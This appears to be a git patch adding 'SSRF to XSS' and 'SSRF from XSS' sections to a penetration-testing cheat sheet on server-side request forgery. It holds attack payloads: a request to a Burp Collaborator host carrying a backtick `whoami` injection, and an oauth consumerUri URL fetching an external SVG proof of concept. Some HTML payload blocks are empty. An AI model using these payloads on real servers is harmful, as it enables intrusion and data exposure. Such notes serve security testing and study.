From feac18369e5ce81924c8b0f0a4b5063d174a6a85 Mon Sep 17 00:00:00 2001 From: Mehdi Date: Wed, 23 Aug 2023 11:28:31 +0330 Subject: [PATCH] Update SSRF.md --- SSRF.md | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/SSRF.md b/SSRF.md index 70b2864..cabf052 100644 --- a/SSRF.md +++ b/SSRF.md @@ -291,6 +291,35 @@ url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesn't exist) +## SSRF to XSS +```html +http://brutelogic.com.br/poc.svg //simple alert +https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= //simple ssrf + +https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg + +``` + +## SSRF from XSS + +**Using an iframe** + +The content of the file will be integrated inside the PDF as an image or text +```javascript + + +``` + +**Using an attachment** + +Example of a PDF attachment using HTML + +1. use `` as Bio text +2. use `'Download Data'` feature to get PDF +3. use `pdfdetach -saveall filename.pdf` to extract embedded resource +4. cat `attachment.bin` + + # Tools * https://github.com/swisskyrepo/SSRFmap